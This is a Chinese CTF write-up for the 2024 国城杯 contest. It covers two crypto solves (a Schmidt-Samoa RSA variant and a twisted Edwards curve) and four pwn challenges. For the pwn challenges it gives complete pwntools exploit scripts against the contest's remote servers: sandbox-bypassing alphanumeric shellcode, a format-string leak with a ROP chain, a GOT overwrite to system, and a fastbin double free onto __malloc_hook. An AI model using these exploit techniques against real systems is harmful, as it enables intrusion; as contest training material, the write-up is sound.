2024国城杯 WriteUp
Crypto
babyRSA
看到n=p·p·q以及给了d
那么就是
变种RSA——SchmidtSamoa
套脚本
from gmpy2 import *
from Crypto.Util.number import *
def getPQ(pub, priv):
return gmpy2.gcd(pub, gmpy2.powmod(2, pub*priv, pub)-2)
def decrypt(pub, priv, enc):
return gmpy2.powmod(enc, priv, getPQ(pub, priv))
n =
d =
c =
pq = getPQ(n, d)
m = decrypt(n, d, c)
print(long_to_bytes(m).decode())
flag
D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}
Curve
还没学ecc,只好在github上找一下有无相似的题目
搜索关键代码块
(a*gx^2+gy^2)%p==(1+d*gx^2*gy^2)%p
下载下来然后阅读
有类似的题目
套脚本
# sagemath
from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
c = 1
e = 0x10001
eG =
F = GF(p)
A = (2 * (a + d)) / (a - d)
B = 4 / (a - d)
a = (3 - A ^ 2) / (3 * B ^ 2)
b = (2 * A ^ 3 - 9 * A) / (27 * B ^ 3)
def TEd_to_ECC(x, y):
x1 = F(1 + y) / F(1 - y)
y1 = F(x1) / F(x)
u = F(x1) / F(B) + F(A) / F(3 * B)
v = F(y1) / F(B)
return (u, v)
def ECC_to_TEd(x, y):
x1 = F(B) * F(x) - F(A) / F(3)
y1 = F(B) * F(y)
u = F(x1) / F(y1)
v = (F(x1) - F(1)) / (F(x1) + F(1))
return (u, v)
E = EllipticCurve(F, [a, b])
o = E.order()
eG = E(TEd_to_ECC(eG[0], eG[1]))
t = inverse(e, o)
G = ECC_to_TEd((t * eG)[0], (t * eG)[1])
print(long_to_bytes(int(G[0])))
flag
D0g3xGC{SOlvE_The_Edcurv3}
Web
1.问卷
Pwn
1.Alpha_Shell
有花指令,去花后反编译查看
限制大小写字母+数字。
沙箱
没有过滤 sendfile
和 openat
,
用 AE64
生成可见字符 payload 发送即可。
exp:
from pwn import *
from ae64 import AE64
context(arch='amd64',os='linux')
p=remote('125.70.243.22',31135)
#p=process('./pwn')
#p=process(["seccomp-tools", "dump", "./pwn"])
#gdb.attach(p)
#pause()
p.recvuntil('!')
payload = shellcraft.openat(-100,"flag",0)
payload += shellcraft.sendfile(1,3,0,50)
payload = AE64().encode(asm(payload),"rdx")
print(payload)
p.send(payload)
p.interactive()
2.Offensive_Security
给了两个文件 attachment
和 lib2shell.so
attachment的逻辑:
在 lib2shell.so
中
利用格式化字符串漏洞泄露 password
地址(0x6002b0)
64位注意地址隔断把地址放后面。
然后是 vuln 函数
条件竞争漏洞,
其中在 guess
中可以直接修改 au..code
最后是 shell 函数
给了一个溢出。
注意 attachment 的gadget
这里参考 栈溢出练习:ROP Emporium - 我可是会飞的啊
本题的 al 初值经过测试确定为 0
exp:
from pwn import *
context(log_level='debug')
context(arch='amd64')
p=remote('125.70.243.22',31633)
elf=ELF('./pwn')
#p=process('./pwn')
p.recvuntil('Username:')
pwd=0x6002b0
payload=b'%9$saaab'+p64(pwd)
p.send(payload)
p.recvuntil('Welcome, \n')
pswd=u64(p.recv(8))
out=0x400644
log.success('password = '+hex(pswd))
p.recvuntil('[!] Please input your password:')
p.send(p64(pswd))
#pause()
p.recvuntil('[!] Guess the authentication code?\n')
p.sendline(str('1'))
p.recvuntil('[!] Please enter your authentication code: ')
p.sendline(str('1'))
p.recvuntil('Login success!')
p.recvuntil('>\n')
#pause()
pop_rdi_ret = 0x0000000000400661 # : pop rdi ; ret
stosb_rdi_al_ret = 0x000000000040065f # : stosb byte ptr [rdi], al ; ret
xlatb_ret = 0x000000000040064E # : xlat ; ret
bextr_ret = 0x0000000000400650
padding = b'A' * 0x28
bufffer = 0x600800
print_file = 0x000000000400647
def set_rbx(b:int):
p = b""
p += pack(bextr_ret)
p += pack(0xE000)
p += pack(b - 0x0D093)
return p
def set_al(a:bytes,offset:int):
tmp = next(elf.search(a)) - offset
#print(hex(tmp))
p = pack(xlatb_ret)
return set_rbx(tmp) + p
is_first = True
def save_al(val:bytes,offset:int):
global is_first
p = b""
if is_first:
p += pack(pop_rdi_ret)
p += pack(bufffer)
is_first = False
p += pack(stosb_rdi_al_ret)
return set_al(val,offset) + p
def write_str(s:bytes):
p=b""
last_al = 0
for i in s:
p += save_al(p8(i),last_al)
last_al = i
return p
payload = write_str(b"flag")
payload += pack(pop_rdi_ret)
payload += pack(bufffer)
payload += pack(print_file)
p.sendline(padding + payload)
p.recvuntil(b'}')
p.interactive()
3.beverage store
(刚开始patchelf后运行直接段错误遂弃,后面附件修复后开始做,打通了远程的flag交不上也是很逗hh)
第一部分
注意 strcpy
以及 buf 的读入长度
这里可以直接覆盖 seed 从而绕过伪随机。
第二部分:
这里是一个数组索引越界,保护是 partial relro。
先把 exit 的 plt 表改成 buy 函数,从而实现无限利用。
接着就是泄露 libc ,改 printf 为 system,
然后 exit 改成 vuln 函数 getshell。
exp:
from pwn import *
p=remote('125.70.243.22',31894)
#p=process('./pwn')
libc=ELF('./libc.so.6')
elf=ELF('./pwn')
p.recvuntil(b'id')
#gdb.attach(p)
context(log_level='debug')
p.send(b'a'*8+b'1'*8)
p.recvuntil(b'code:')
p.sendline(str(1366868856))
p.recvuntil(b'4 wine')
p.sendline(str(-4))
p.recvuntil(b'choose')
main=0x40133b
p.send(p64(main)+p64(elf.got['rand']))
p.recvuntil(b'4 wine')
p.sendline(str(-5))
p.recvuntil(b'choose')
p.send(b'a'*7+b'b')
p.recvuntil(b'succeed\n')
p.recvuntil(b'b')
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x62090
#addr=u64(p.recv(6).ljust(8,b'\x00'))
log.success('libc =' +hex(libc.address))
p.recvuntil(b'4 wine')
p.sendline(str(-7))
p.recvuntil(b'choose')
p.send(p64(libc.sym['system']))
p.recvuntil(b'4 wine')
p.sendline(str(-4))
pause()
p.recvuntil(b'choose')
p.send(p64(0x401511))
p.interactive()
#p.recvuntil('succeed')
4.vtable_hijack
虽然保护全开,但是 低版本 libc + uaf + 堆溢出。
unsortedbin 泄露 main_arena 得 libc 基址,fastbin double free 打 malloc_hook ,覆盖为 one_gadget 即可。
exp:
from pwn import *
p=remote('125.70.243.22',31369)
#p=process('./pwn')
libc=ELF('./libc.so.6')
context(log_level='debug')
def menu(i) :
p.sendlineafter('choice:',str(i))
def add(idx,size) :
menu(1)
p.sendlineafter(':',str(idx))
p.sendlineafter(':',str(size))
def free(idx) :
menu(2)
p.sendlineafter(':',str(idx))
def edit(idx,size,content) :
menu(3)
p.sendlineafter(':',str(idx))
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def show(idx) :
menu(4)
p.sendlineafter(':',str(idx))
add(0,0x100)
add(1,0x20)
free(0)
show(0)
p.recv(1)
libc.address = u64(p.recv(6).ljust(0x8,b'\x00'))-0x39bb78
log.success('libc = '+hex(libc.address))
pause()
add(0,0x100)
add(2,0x68)
add(3,0x68)
free(2)
free(3)
free(2)
#gdb.attach(p)
add(2,0x68)
edit(2,0x8,p64(libc.sym['__malloc_hook']-0x23))
#pause()
add(4,0x68)
add(5,0x68)
add(6,0x68)
ogg = [0x3f3e6,0x3f43a,0xd5c07]
edit(6,0x68,b'\x00'*0x13+p64(ogg[2]+libc.address))
add(7,0x68)
p.interactive()